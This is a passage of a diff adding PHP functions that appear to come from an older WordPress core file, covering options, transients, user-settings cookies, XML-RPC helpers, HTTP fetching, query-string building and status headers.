$setting, 'options' ); + + if ( false === $value ) { + if ( defined( 'WP_INSTALLING' ) ) + $suppress = $wpdb->suppress_errors(); + // expected_slashed ($setting) + $row = $wpdb->get_row( "SELECT option_value FROM $wpdb->options WHERE option_name = '$setting' LIMIT 1" ); + if ( defined( 'WP_INSTALLING' ) ) + $wpdb->suppress_errors($suppress); + + if ( is_object( $row) ) { // Has to be get_row instead of get_var because of funkiness with 0, false, null values + $value = $row->option_value; + wp_cache_add( $setting, $value, 'options' ); + } else { // option does not exist, so we must cache its non-existence + $notoptions[$setting] = true; + wp_cache_set( 'notoptions', $notoptions, 'options' ); + return $default; + } + } + } + + // If home is not set use siteurl. + if ( 'home' == $setting && '' == $value ) + return get_option( 'siteurl' ); + + if ( in_array( $setting, array('siteurl', 'home', 'category_base', 'tag_base') ) ) + $value = untrailingslashit( $value ); + + return apply_filters( 'option_' . $setting, maybe_unserialize( $value ) ); +} + +/** + * Protect WordPress special option from being modified. + * + * Will die if $option is in protected list. Protected options are 'alloptions' + * and 'notoptions' options. + * + * @since 2.2.0 + * @package WordPress + * @subpackage Option + * + * @param string $option Option name. + */ +function wp_protect_special_option( $option ) { + $protected = array( 'alloptions', 'notoptions' ); + if ( in_array( $option, $protected ) ) + die( sprintf( __( '%s is a protected WP option and may not be modified' ), esc_html( $option ) ) ); +} + +/** + * Print option value after sanitizing for forms. + * + * @uses attr Sanitizes value. + * @since 1.5.0 + * @package WordPress + * @subpackage Option + * + * @param string $option Option name. + */ +function form_option( $option ) { + echo esc_attr(get_option( $option ) ); +} + +/** + * Retrieve all autoload options or all options, if no autoloaded ones exist. + * + * This is different from wp_load_alloptions() in that this function does not + * cache its results and will retrieve all options from the database every time + * + * it is called. + * + * @since 1.0.0 + * @package WordPress + * @subpackage Option + * @uses apply_filters() Calls 'pre_option_$optionname' hook with option value as parameter. + * @uses apply_filters() Calls 'all_options' on options list. + * + * @return array List of all options. + */ +function get_alloptions() { + global $wpdb; + $show = $wpdb->hide_errors(); + if ( !$options = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload = 'yes'" ) ) + $options = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" ); + $wpdb->show_errors($show); + + foreach ( (array) $options as $option ) { + // "When trying to design a foolproof system, + // never underestimate the ingenuity of the fools :)" -- Dougal + if ( in_array( $option->option_name, array( 'siteurl', 'home', 'category_base', 'tag_base' ) ) ) + $option->option_value = untrailingslashit( $option->option_value ); + $value = maybe_unserialize( $option->option_value ); + $all_options->{$option->option_name} = apply_filters( 'pre_option_' . $option->option_name, $value ); + } + return apply_filters( 'all_options', $all_options ); +} + +/** + * Loads and caches all autoloaded options, if available or all options. + * + * This is different from get_alloptions(), in that this function will cache the + * options and will return the cached options when called again. + * + * @since 2.2.0 + * @package WordPress + * @subpackage Option + * + * @return array List all options. + */ +function wp_load_alloptions() { + global $wpdb; + + $alloptions = wp_cache_get( 'alloptions', 'options' ); + + if ( !$alloptions ) { + $suppress = $wpdb->suppress_errors(); + if ( !$alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options WHERE autoload = 'yes'" ) ) + $alloptions_db = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" ); + $wpdb->suppress_errors($suppress); + $alloptions = array(); + foreach ( (array) $alloptions_db as $o ) + $alloptions[$o->option_name] = $o->option_value; + wp_cache_add( 'alloptions', $alloptions, 'options' ); + } + return $alloptions; +} + +/** + * Update the value of an option that was already added. + * + * You do not need to serialize values, if the value needs to be serialize, then + * it will be serialized before it is inserted into the database. Remember, + * resources can not be serialized or added as an option. + * + * If the option does not exist, then the option will be added with the option + * value, but you will not be able to set whether it is autoloaded. If you want + * to set whether an option autoloaded, then you need to use the add_option(). + * + * Before the option is updated, then the filter named + * 'pre_update_option_$option_name', with the $option_name as the $option_name + * parameter value, will be called. The hook should accept two parameters, the + * first is the new value and the second is the old value. Whatever is + * returned will be used as the new value. + * + * After the value has been updated the action named 'update_option_$option_name' + * will be called. This action receives two parameters the first being the old + * value and the second the new value. + * + * @since 1.0.0 + * @package WordPress + * @subpackage Option + * + * @param string $option_name Option name. Expected to not be SQL-escaped + * @param mixed $newvalue Option value. + * @return bool False if value was not updated and true if value was updated. + */ +function update_option( $option_name, $newvalue ) { + global $wpdb; + + wp_protect_special_option( $option_name ); + + $safe_option_name = esc_sql( $option_name ); + $newvalue = sanitize_option( $option_name, $newvalue ); + + $oldvalue = get_option( $safe_option_name ); + + $newvalue = apply_filters( 'pre_update_option_' . $option_name, $newvalue, $oldvalue ); + + // If the new and old values are the same, no need to update. + if ( $newvalue === $oldvalue ) + return false; + + if ( false === $oldvalue ) { + add_option( $option_name, $newvalue ); + return true; + } + + $notoptions = wp_cache_get( 'notoptions', 'options' ); + if ( is_array( $notoptions ) && isset( $notoptions[$option_name] ) ) { + unset( $notoptions[$option_name] ); + wp_cache_set( 'notoptions', $notoptions, 'options' ); + } + + $_newvalue = $newvalue; + $newvalue = maybe_serialize( $newvalue ); + + do_action( 'update_option', $option_name, $oldvalue, $newvalue ); + $alloptions = wp_load_alloptions(); + if ( isset( $alloptions[$option_name] ) ) { + $alloptions[$option_name] = $newvalue; + wp_cache_set( 'alloptions', $alloptions, 'options' ); + } else { + wp_cache_set( $option_name, $newvalue, 'options' ); + } + + $wpdb->update($wpdb->options, array('option_value' => $newvalue), array('option_name' => $option_name) ); + + if ( $wpdb->rows_affected == 1 ) { + do_action( "update_option_{$option_name}", $oldvalue, $_newvalue ); + do_action( 'updated_option', $option_name, $oldvalue, $_newvalue ); + return true; + } + return false; +} + +/** + * Add a new option. + * + * You do not need to serialize values, if the value needs to be serialize, then + * it will be serialized before it is inserted into the database. Remember, + * resources can not be serialized or added as an option. + * + * You can create options without values and then add values later. Does not + * check whether the option has already been added, but does check that you + * aren't adding a protected WordPress option. Care should be taken to not name + * options, the same as the ones which are protected and to not add options + * that were already added. + * + * The filter named 'add_option_$optionname', with the $optionname being + * replaced with the option's name, will be called. The hook should accept two + * parameters, the first is the option name, and the second is the value. + * + * @package WordPress + * @subpackage Option + * @since 1.0.0 + * @link http://alex.vort-x.net/blog/ Thanks Alex Stapleton + * + * @param string $name Option name to add. Expects to NOT be SQL escaped. + * @param mixed $value Optional. Option value, can be anything. + * @param mixed $deprecated Optional. Description. Not used anymore. + * @param bool $autoload Optional. Default is enabled. Whether to load the option when WordPress starts up. + * @return null returns when finished. + */ +function add_option( $name, $value = '', $deprecated = '', $autoload = 'yes' ) { + global $wpdb; + + wp_protect_special_option( $name ); + $safe_name = esc_sql( $name ); + $value = sanitize_option( $name, $value ); + + // Make sure the option doesn't already exist. We can check the 'notoptions' cache before we ask for a db query + $notoptions = wp_cache_get( 'notoptions', 'options' ); + if ( !is_array( $notoptions ) || !isset( $notoptions[$name] ) ) + if ( false !== get_option( $safe_name ) ) + return; + + $value = maybe_serialize( $value ); + $autoload = ( 'no' === $autoload ) ? 'no' : 'yes'; + do_action( 'add_option', $name, $value ); + if ( 'yes' == $autoload ) { + $alloptions = wp_load_alloptions(); + $alloptions[$name] = $value; + wp_cache_set( 'alloptions', $alloptions, 'options' ); + } else { + wp_cache_set( $name, $value, 'options' ); + } + + // This option exists now + $notoptions = wp_cache_get( 'notoptions', 'options' ); // yes, again... we need it to be fresh + if ( is_array( $notoptions ) && isset( $notoptions[$name] ) ) { + unset( $notoptions[$name] ); + wp_cache_set( 'notoptions', $notoptions, 'options' ); + } + + $wpdb->query( $wpdb->prepare( "INSERT INTO `$wpdb->options` (`option_name`, `option_value`, `autoload`) VALUES (%s, %s, %s) ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)", $name, $value, $autoload ) ); + + do_action( "add_option_{$name}", $name, $value ); + do_action( 'added_option', $name, $value ); + + return; +} + +/** + * Removes option by name and prevents removal of protected WordPress options. + * + * @package WordPress + * @subpackage Option + * @since 1.2.0 + * + * @param string $name Option name to remove. + * @return bool True, if succeed. False, if failure. + */ +function delete_option( $name ) { + global $wpdb; + + wp_protect_special_option( $name ); + + // Get the ID, if no ID then return + // expected_slashed ($name) + $option = $wpdb->get_row( "SELECT autoload FROM $wpdb->options WHERE option_name = '$name'" ); + if ( is_null($option) ) + return false; + do_action( 'delete_option', $name ); + // expected_slashed ($name) + $wpdb->query( "DELETE FROM $wpdb->options WHERE option_name = '$name'" ); + if ( 'yes' == $option->autoload ) { + $alloptions = wp_load_alloptions(); + if ( isset( $alloptions[$name] ) ) { + unset( $alloptions[$name] ); + wp_cache_set( 'alloptions', $alloptions, 'options' ); + } + } else { + wp_cache_delete( $name, 'options' ); + } + do_action( 'deleted_option', $name ); + return true; +} + +/** + * Delete a transient + * + * @since 2.8.0 + * @package WordPress + * @subpackage Transient + * + * @param string $transient Transient name. Expected to not be SQL-escaped + * @return bool true if successful, false otherwise + */ +function delete_transient($transient) { + global $_wp_using_ext_object_cache, $wpdb; + + if ( $_wp_using_ext_object_cache ) { + return wp_cache_delete($transient, 'transient'); + } else { + $transient = '_transient_' . esc_sql($transient); + return delete_option($transient); + } +} + +/** + * Get the value of a transient + * + * If the transient does not exist or does not have a value, then the return value + * will be false. + * + * @since 2.8.0 + * @package WordPress + * @subpackage Transient + * + * @param string $transient Transient name. Expected to not be SQL-escaped + * @return mixed Value of transient + */ +function get_transient($transient) { + global $_wp_using_ext_object_cache, $wpdb; + + $pre = apply_filters( 'pre_transient_' . $transient, false ); + if ( false !== $pre ) + return $pre; + + if ( $_wp_using_ext_object_cache ) { + $value = wp_cache_get($transient, 'transient'); + } else { + $transient_option = '_transient_' . esc_sql($transient); + // If option is not in alloptions, it is not autoloaded and thus has a timeout + $alloptions = wp_load_alloptions(); + if ( !isset( $alloptions[$transient_option] ) ) { + $transient_timeout = '_transient_timeout_' . esc_sql($transient); + if ( get_option($transient_timeout) < time() ) { + delete_option($transient_option); + delete_option($transient_timeout); + return false; + } + } + + $value = get_option($transient_option); + } + + return apply_filters('transient_' . $transient, $value); +} + +/** + * Set/update the value of a transient + * + * You do not need to serialize values, if the value needs to be serialize, then + * it will be serialized before it is set. + * + * @since 2.8.0 + * @package WordPress + * @subpackage Transient + * + * @param string $transient Transient name. Expected to not be SQL-escaped + * @param mixed $value Transient value. + * @param int $expiration Time until expiration in seconds, default 0 + * @return bool False if value was not set and true if value was set. + */ +function set_transient($transient, $value, $expiration = 0) { + global $_wp_using_ext_object_cache, $wpdb; + + if ( $_wp_using_ext_object_cache ) { + return wp_cache_set($transient, $value, 'transient', $expiration); + } else { + $transient_timeout = '_transient_timeout_' . $transient; + $transient = '_transient_' . $transient; + $safe_transient = esc_sql($transient); + if ( false === get_option( $safe_transient ) ) { + $autoload = 'yes'; + if ( 0 != $expiration ) { + $autoload = 'no'; + add_option($transient_timeout, time() + $expiration, '', 'no'); + } + return add_option($transient, $value, '', $autoload); + } else { + if ( 0 != $expiration ) + update_option($transient_timeout, time() + $expiration); + return update_option($transient, $value); + } + } +} + +/** + * Saves and restores user interface settings stored in a cookie. + * + * Checks if the current user-settings cookie is updated and stores it. When no + * cookie exists (different browser used), adds the last saved cookie restoring + * the settings. + * + * @package WordPress + * @subpackage Option + * @since 2.7.0 + */ +function wp_user_settings() { + + if ( ! is_admin() ) + return; + + if ( defined('DOING_AJAX') ) + return; + + if ( ! $user = wp_get_current_user() ) + return; + + $settings = get_user_option( 'user-settings', $user->ID, false ); + + if ( isset( $_COOKIE['wp-settings-' . $user->ID] ) ) { + $cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE['wp-settings-' . $user->ID] ); + + if ( ! empty( $cookie ) && strpos( $cookie, '=' ) ) { + if ( $cookie == $settings ) + return; + + $last_time = (int) get_user_option( 'user-settings-time', $user->ID, false ); + $saved = isset( $_COOKIE['wp-settings-time-' . $user->ID]) ? preg_replace( '/[^0-9]/', '', $_COOKIE['wp-settings-time-' . $user->ID] ) : 0; + + if ( $saved > $last_time ) { + update_user_option( $user->ID, 'user-settings', $cookie, false ); + update_user_option( $user->ID, 'user-settings-time', time() - 5, false ); + return; + } + } + } + + setcookie( 'wp-settings-' . $user->ID, $settings, time() + 31536000, SITECOOKIEPATH ); + setcookie( 'wp-settings-time-' . $user->ID, time(), time() + 31536000, SITECOOKIEPATH ); + $_COOKIE['wp-settings-' . $user->ID] = $settings; +} + +/** + * Retrieve user interface setting value based on setting name. + * + * @package WordPress + * @subpackage Option + * @since 2.7.0 + * + * @param string $name The name of the setting. + * @param string $default Optional default value to return when $name is not set. + * @return mixed the last saved user setting or the default value/false if it doesn't exist. + */ +function get_user_setting( $name, $default = false ) { + + $all = get_all_user_settings(); + + return isset($all[$name]) ? $all[$name] : $default; +} + +/** + * Add or update user interface setting. + * + * Both $name and $value can contain only ASCII letters, numbers and underscores. + * This function has to be used before any output has started as it calls setcookie(). + * + * @package WordPress + * @subpackage Option + * @since 2.8.0 + * + * @param string $name The name of the setting. + * @param string $value The value for the setting. + * @return bool true if set successfully/false if not. + */ +function set_user_setting( $name, $value ) { + + if ( headers_sent() ) + return false; + + $all = get_all_user_settings(); + $name = preg_replace( '/[^A-Za-z0-9_]+/', '', $name ); + + if ( empty($name) ) + return false; + + $all[$name] = $value; + + return wp_set_all_user_settings($all); +} + +/** + * Delete user interface settings. + * + * Deleting settings would reset them to the defaults. + * This function has to be used before any output has started as it calls setcookie(). + * + * @package WordPress + * @subpackage Option + * @since 2.7.0 + * + * @param mixed $names The name or array of names of the setting to be deleted. + * @return bool true if deleted successfully/false if not. + */ +function delete_user_setting( $names ) { + + if ( headers_sent() ) + return false; + + $all = get_all_user_settings(); + $names = (array) $names; + + foreach ( $names as $name ) { + if ( isset($all[$name]) ) { + unset($all[$name]); + $deleted = true; + } + } + + if ( isset($deleted) ) + return wp_set_all_user_settings($all); + + return false; +} + +/** + * Retrieve all user interface settings. + * + * @package WordPress + * @subpackage Option + * @since 2.7.0 + * + * @return array the last saved user settings or empty array. + */ +function get_all_user_settings() { + global $_updated_user_settings; + + if ( ! $user = wp_get_current_user() ) + return array(); + + if ( isset($_updated_user_settings) && is_array($_updated_user_settings) ) + return $_updated_user_settings; + + $all = array(); + if ( isset($_COOKIE['wp-settings-' . $user->ID]) ) { + $cookie = preg_replace( '/[^A-Za-z0-9=&_]/', '', $_COOKIE['wp-settings-' . $user->ID] ); + + if ( $cookie && strpos($cookie, '=') ) // the '=' cannot be 1st char + parse_str($cookie, $all); + + } else { + $option = get_user_option('user-settings', $user->ID); + if ( $option && is_string($option) ) + parse_str( $option, $all ); + } + + return $all; +} + +/** + * Private. Set all user interface settings. + * + * @package WordPress + * @subpackage Option + * @since 2.8.0 + * + */ +function wp_set_all_user_settings($all) { + global $_updated_user_settings; + + if ( ! $user = wp_get_current_user() ) + return false; + + $_updated_user_settings = $all; + $settings = ''; + foreach ( $all as $k => $v ) { + $v = preg_replace( '/[^A-Za-z0-9_]+/', '', $v ); + $settings .= $k . '=' . $v . '&'; + } + + $settings = rtrim($settings, '&'); + + update_user_option( $user->ID, 'user-settings', $settings, false ); + update_user_option( $user->ID, 'user-settings-time', time(), false ); + + return true; +} + +/** + * Delete the user settings of the current user. + * + * @package WordPress + * @subpackage Option + * @since 2.7.0 + */ +function delete_all_user_settings() { + if ( ! $user = wp_get_current_user() ) + return; + + update_user_option( $user->ID, 'user-settings', '', false ); + setcookie('wp-settings-' . $user->ID, ' ', time() - 31536000, SITECOOKIEPATH); +} + +/** + * Serialize data, if needed. + * + * @since 2.0.5 + * + * @param mixed $data Data that might be serialized. + * @return mixed A scalar data + */ +function maybe_serialize( $data ) { + if ( is_array( $data ) || is_object( $data ) ) + return serialize( $data ); + + if ( is_serialized( $data ) ) + return serialize( $data ); + + return $data; +} + +/** + * Retrieve post title from XMLRPC XML. + * + * If the title element is not part of the XML, then the default post title from + * the $post_default_title will be used instead. + * + * @package WordPress + * @subpackage XMLRPC + * @since 0.71 + * + * @global string $post_default_title Default XMLRPC post title. + * + * @param string $content XMLRPC XML Request content + * @return string Post title + */ +function xmlrpc_getposttitle( $content ) { + global $post_default_title; + if ( preg_match( '/<title>(.+?)<\/title>/is', $content, $matchtitle ) ) { + $post_title = $matchtitle[1]; + } else { + $post_title = $post_default_title; + } + return $post_title; +} + +/** + * Retrieve the post category or categories from XMLRPC XML. + * + * If the category element is not found, then the default post category will be + * used. The return type then would be what $post_default_category. If the + * category is found, then it will always be an array. + * + * @package WordPress + * @subpackage XMLRPC + * @since 0.71 + * + * @global string $post_default_category Default XMLRPC post category. + * + * @param string $content XMLRPC XML Request content + * @return string|array List of categories or category name. + */ +function xmlrpc_getpostcategory( $content ) { + global $post_default_category; + if ( preg_match( '/<category>(.+?)<\/category>/is', $content, $matchcat ) ) { + $post_category = trim( $matchcat[1], ',' ); + $post_category = explode( ',', $post_category ); + } else { + $post_category = $post_default_category; + } + return $post_category; +} + +/** + * XMLRPC XML content without title and category elements. + * + * @package WordPress + * @subpackage XMLRPC + * @since 0.71 + * + * @param string $content XMLRPC XML Request content + * @return string XMLRPC XML Request content without title and category elements. + */ +function xmlrpc_removepostdata( $content ) { + $content = preg_replace( '/<title>(.+?)<\/title>/si', '', $content ); + $content = preg_replace( '/<category>(.+?)<\/category>/si', '', $content ); + $content = trim( $content ); + return $content; +} + +/** + * Open the file handle for debugging. + * + * This function is used for XMLRPC feature, but it is general purpose enough + * to be used in anywhere. + * + * @see fopen() for mode options. + * @package WordPress + * @subpackage Debug + * @since 0.71 + * @uses $debug Used for whether debugging is enabled. + * + * @param string $filename File path to debug file. + * @param string $mode Same as fopen() mode parameter. + * @return bool|resource File handle. False on failure. + */ +function debug_fopen( $filename, $mode ) { + global $debug; + if ( 1 == $debug ) { + $fp = fopen( $filename, $mode ); + return $fp; + } else { + return false; + } +} + +/** + * Write contents to the file used for debugging. + * + * Technically, this can be used to write to any file handle when the global + * $debug is set to 1 or true. + * + * @package WordPress + * @subpackage Debug + * @since 0.71 + * @uses $debug Used for whether debugging is enabled. + * + * @param resource $fp File handle for debugging file. + * @param string $string Content to write to debug file. + */ +function debug_fwrite( $fp, $string ) { + global $debug; + if ( 1 == $debug ) + fwrite( $fp, $string ); +} + +/** + * Close the debugging file handle. + * + * Technically, this can be used to close any file handle when the global $debug + * is set to 1 or true. + * + * @package WordPress + * @subpackage Debug + * @since 0.71 + * @uses $debug Used for whether debugging is enabled. + * + * @param resource $fp Debug File handle. + */ +function debug_fclose( $fp ) { + global $debug; + if ( 1 == $debug ) + fclose( $fp ); +} + +/** + * Check content for video and audio links to add as enclosures. + * + * Will not add enclosures that have already been added and will + * remove enclosures that are no longer in the post. This is called as + * pingbacks and trackbacks. + * + * @package WordPress + * @since 1.5.0 + * + * @uses $wpdb + * + * @param string $content Post Content + * @param int $post_ID Post ID + */ +function do_enclose( $content, $post_ID ) { + global $wpdb; + include_once( ABSPATH . WPINC . '/class-IXR.php' ); + + $log = debug_fopen( ABSPATH . 'enclosures.log', 'a' ); + $post_links = array(); + debug_fwrite( $log, 'BEGIN ' . date( 'YmdHis', time() ) . "\n" ); + + $pung = get_enclosed( $post_ID ); + + $ltrs = '\w'; + $gunk = '/#~:.?+=&%@!\-'; + $punc = '.:?\-'; + $any = $ltrs . $gunk . $punc; + + preg_match_all( "{\b http : [$any] +? (?= [$punc] * [^$any] | $)}x", $content, $post_links_temp ); + + debug_fwrite( $log, 'Post contents:' ); + debug_fwrite( $log, $content . "\n" ); + + foreach ( $pung as $link_test ) { + if ( !in_array( $link_test, $post_links_temp[0] ) ) { // link no longer in post + $mid = $wpdb->get_col( $wpdb->prepare("SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE (%s)", $post_ID, $link_test . '%') ); + do_action( 'delete_postmeta', $mid ); + $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->postmeta WHERE post_id IN(%s)", implode( ',', $mid ) ) ); + do_action( 'deleted_postmeta', $mid ); + } + } + + foreach ( (array) $post_links_temp[0] as $link_test ) { + if ( !in_array( $link_test, $pung ) ) { // If we haven't pung it already + $test = parse_url( $link_test ); + if ( isset( $test['query'] ) ) + $post_links[] = $link_test; + elseif ( $test['path'] != '/' && $test['path'] != '' ) + $post_links[] = $link_test; + } + } + + foreach ( (array) $post_links as $url ) { + if ( $url != '' && !$wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE (%s)", $post_ID, $url . '%' ) ) ) { + if ( $headers = wp_get_http_headers( $url) ) { + $len = (int) $headers['content-length']; + $type = $headers['content-type']; + $allowed_types = array( 'video', 'audio' ); + if ( in_array( substr( $type, 0, strpos( $type, "/" ) ), $allowed_types ) ) { + $meta_value = "$url\n$len\n$type\n"; + $wpdb->insert($wpdb->postmeta, array('post_id' => $post_ID, 'meta_key' => 'enclosure', 'meta_value' => $meta_value) ); + do_action( 'added_postmeta', $wpdb->insert_id, $post_ID, 'enclosure', $meta_value ); + } + } + } + } +} + +/** + * Perform a HTTP HEAD or GET request. + * + * If $file_path is a writable filename, this will do a GET request and write + * the file to that path. + * + * @since 2.5.0 + * + * @param string $url URL to fetch. + * @param string|bool $file_path Optional. File path to write request to. + * @param bool $deprecated Deprecated. Not used. + * @return bool|string False on failure and string of headers if HEAD request. + */ +function wp_get_http( $url, $file_path = false, $deprecated = false ) { + @set_time_limit( 60 ); + + $options = array(); + $options['redirection'] = 5; + + if ( false == $file_path ) + $options['method'] = 'HEAD'; + else + $options['method'] = 'GET'; + + $response = wp_remote_request($url, $options); + + if ( is_wp_error( $response ) ) + return false; + + $headers = wp_remote_retrieve_headers( $response ); + $headers['response'] = $response['response']['code']; + + if ( false == $file_path ) + return $headers; + + // GET request - write it to the supplied filename + $out_fp = fopen($file_path, 'w'); + if ( !$out_fp ) + return $headers; + + fwrite( $out_fp, $response['body']); + fclose($out_fp); + + return $headers; +} + +/** + * Retrieve HTTP Headers from URL. + * + * @since 1.5.1 + * + * @param string $url + * @param bool $deprecated Not Used. + * @return bool|string False on failure, headers on success. + */ +function wp_get_http_headers( $url, $deprecated = false ) { + $response = wp_remote_head( $url ); + + if ( is_wp_error( $response ) ) + return false; + + return wp_remote_retrieve_headers( $response ); +} + +/** + * Whether today is a new day. + * + * @since 0.71 + * @uses $day Today + * @uses $previousday Previous day + * + * @return int 1 when new day, 0 if not a new day. + */ +function is_new_day() { + global $day, $previousday; + if ( $day != $previousday ) + return 1; + else + return 0; +} + +/** + * Build URL query based on an associative and, or indexed array. + * + * This is a convenient function for easily building url queries. It sets the + * separator to '&' and uses _http_build_query() function. + * + * @see _http_build_query() Used to build the query + * @link http://us2.php.net/manual/en/function.http-build-query.php more on what + * http_build_query() does. + * + * @since 2.3.0 + * + * @param array $data URL-encode key/value pairs. + * @return string URL encoded string + */ +function build_query( $data ) { + return _http_build_query( $data, null, '&', '', false ); +} + +/** + * Retrieve a modified URL query string. + * + * You can rebuild the URL and append a new query variable to the URL query by + * using this function. You can also retrieve the full URL with query data. + * + * Adding a single key & value or an associative array. Setting a key value to + * emptystring removes the key. Omitting oldquery_or_uri uses the $_SERVER + * value. + * + * @since 1.5.0 + * + * @param mixed $param1 Either newkey or an associative_array + * @param mixed $param2 Either newvalue or oldquery or uri + * @param mixed $param3 Optional. Old query or uri + * @return string New URL query string. + */ +function add_query_arg() { + $ret = ''; + if ( is_array( func_get_arg(0) ) ) { + if ( @func_num_args() < 2 || false === @func_get_arg( 1 ) ) + $uri = $_SERVER['REQUEST_URI']; + else + $uri = @func_get_arg( 1 ); + } else { + if ( @func_num_args() < 3 || false === @func_get_arg( 2 ) ) + $uri = $_SERVER['REQUEST_URI']; + else + $uri = @func_get_arg( 2 ); + } + + if ( $frag = strstr( $uri, '#' ) ) + $uri = substr( $uri, 0, -strlen( $frag ) ); + else + $frag = ''; + + if ( preg_match( '|^https?://|i', $uri, $matches ) ) { + $protocol = $matches[0]; + $uri = substr( $uri, strlen( $protocol ) ); + } else { + $protocol = ''; + } + + if ( strpos( $uri, '?' ) !== false ) { + $parts = explode( '?', $uri, 2 ); + if ( 1 == count( $parts ) ) { + $base = '?'; + $query = $parts[0]; + } else { + $base = $parts[0] . '?'; + $query = $parts[1]; + } + } elseif ( !empty( $protocol ) || strpos( $uri, '=' ) === false ) { + $base = $uri . '?'; + $query = ''; + } else { + $base = ''; + $query = $uri; + } + + wp_parse_str( $query, $qs ); + $qs = urlencode_deep( $qs ); // this re-URL-encodes things that were already in the query string + if ( is_array( func_get_arg( 0 ) ) ) { + $kayvees = func_get_arg( 0 ); + $qs = array_merge( $qs, $kayvees ); + } else { + $qs[func_get_arg( 0 )] = func_get_arg( 1 ); + } + + foreach ( (array) $qs as $k => $v ) { + if ( $v === false ) + unset( $qs[$k] ); + } + + $ret = build_query( $qs ); + $ret = trim( $ret, '?' ); + $ret = preg_replace( '#=(&|$)#', '$1', $ret ); + $ret = $protocol . $base . $ret . $frag; + $ret = rtrim( $ret, '?' ); + return $ret; +} + +/** + * Removes an item or list from the query string. + * + * @since 1.5.0 + * + * @param string|array $key Query key or keys to remove. + * @param bool $query When false uses the $_SERVER value. + * @return string New URL query string. + */ +function remove_query_arg( $key, $query=false ) { + if ( is_array( $key ) ) { // removing multiple keys + foreach ( $key as $k ) + $query = add_query_arg( $k, false, $query ); + return $query; + } + return add_query_arg( $key, false, $query ); +} + +/** + * Walks the array while sanitizing the contents. + * + * @uses $wpdb Used to sanitize values + * @since 0.71 + * + * @param array $array Array to used to walk while sanitizing contents. + * @return array Sanitized $array. + */ +function add_magic_quotes( $array ) { + global $wpdb; + + foreach ( (array) $array as $k => $v ) { + if ( is_array( $v ) ) { + $array[$k] = add_magic_quotes( $v ); + } else { + $array[$k] = esc_sql( $v ); + } + } + return $array; +} + +/** + * HTTP request for URI to retrieve content. + * + * @since 1.5.1 + * @uses wp_remote_get() + * + * @param string $uri URI/URL of web page to retrieve. + * @return bool|string HTTP content. False on failure. + */ +function wp_remote_fopen( $uri ) { + $parsed_url = @parse_url( $uri ); + + if ( !$parsed_url || !is_array( $parsed_url ) ) + return false; + + $options = array(); + $options['timeout'] = 10; + + $response = wp_remote_get( $uri, $options ); + + if ( is_wp_error( $response ) ) + return false; + + return $response['body']; +} + +/** + * Setup the WordPress query. + * + * @since 2.0.0 + * + * @param string $query_vars Default WP_Query arguments. + */ +function wp( $query_vars = '' ) { + global $wp, $wp_query, $wp_the_query; + $wp->main( $query_vars ); + + if( !isset($wp_the_query) ) + $wp_the_query = $wp_query; +} + +/** + * Retrieve the description for the HTTP status. + * + * @since 2.3.0 + * + * @param int $code HTTP status code. + * @return string Empty string if not found, or description if found. + */ +function get_status_header_desc( $code ) { + global $wp_header_to_desc; + + $code = absint( $code ); + + if ( !isset( $wp_header_to_desc ) ) { + $wp_header_to_desc = array( + 100 => 'Continue', + 101 => 'Switching Protocols', + 102 => 'Processing', + + 200 => 'OK', + 201 => 'Created', + 202 => 'Accepted', + 203 => 'Non-Authoritative Information', + 204 => 'No Content', + 205 => 'Reset Content', + 206 => 'Partial Content', + 207 => 'Multi-Status', + 226 => 'IM Used', + + 300 => 'Multiple Choices', + 301 => 'Moved Permanently', + 302 => 'Found', + 303 => 'See Other', + 304 => 'Not Modified', + 305 => 'Use Proxy', + 306 => 'Reserved', + 307 => 'Temporary Redirect', + + 400 => 'Bad Request', + 401 => 'Unauthorized', + 402 => 'Payment Required', + 403 => 'Forbidden', + 404 => 'Not Found', + 405 => 'Method Not Allowed', + 406 => 'Not Acceptable', + 407 => 'Proxy Authentication Required', + 408 => 'Request Timeout', + 409 => 'Conflict', + 410 => 'Gone', + 411 => 'Length Required', + 412 => 'Precondition Failed', + 413 => 'Request Entity Too Large', + 414 => 'Request-URI Too Long', + 415 => 'Unsupported Media Type', + 416 => 'Requested Range Not Satisfiable', + 417 => 'Expectation Failed', + 422 => 'Unprocessable Entity', + 423 => 'Locked', + 424 => 'Failed Dependency', + 426 => 'Upgrade Required', + + 500 => 'Internal Server Error', + 501 => 'Not Implemented', + 502 => 'Bad Gateway', + 503 => 'Service Unavailable', + 504 => 'Gateway Timeout', + 505 => 'HTTP Version Not Supported', + 506 => 'Variant Also Negotiates', + 507 => 'Insufficient Storage', + 510 => 'Not Extended' + ); + } + + if ( isset( $wp_header_to_desc[$code] ) ) + return $wp_header_to_desc[$code]; + else + return ''; +} + +/** + * Set HTTP status header. + * + * @since 2.0.0 + * @uses apply_filters() Calls 'status_header' on status header string, HTTP + * HTTP code, HTTP code description, and protocol string as separate + * parameters. + * + * @param int $header HTTP status code + * @return null Does not return anything. + */ +function status_header( $header ) { + $text = get_status_header_desc( $header ); + + if ( empty( $text ) ) + return false; + + $protocol = $_SERVER["SERVER_PROTOCOL"]; + if ( 'HTTP/1.1' != $protocol && 'HTTP/1.0' != $protocol ) + $protocol = 'HTTP/1.0'; + $status_header = "$protocol $header $text"; + if ( function_exists( 'apply_filters' ) ) + $status_header = apply_filters( 'status_header', $status_header, $header, $text, $protocol ); + + return @header( $status_header, true, $header ); +} + +/** + * Gets the header information to prevent caching. + * + * The several different headers cover the different ways cache prevention is handled + * by different browsers + * + * @since 2.8 + * + * @uses apply_filters() + * @return array The associative array of header names and field values. + */ +function wp_get_nocache_headers() { + $headers = array( + 'Expires' => 'Wed, 11 Jan 1984 05:00:00 GMT', + 'Last-Modified' => gmdate( 'D, d M Y H:i:s' ) . ' GMT', + 'Cache-Control' => 'no-cache, must-revalidate, max-age=0', + 'Pragma' => 'no-cache', + ); + + if ( function_exists('apply_filters') ) { + $headers = apply_filters('nocache_headers', $headers); + } + return $headers; +} + +/** + * Sets the headers to prevent caching 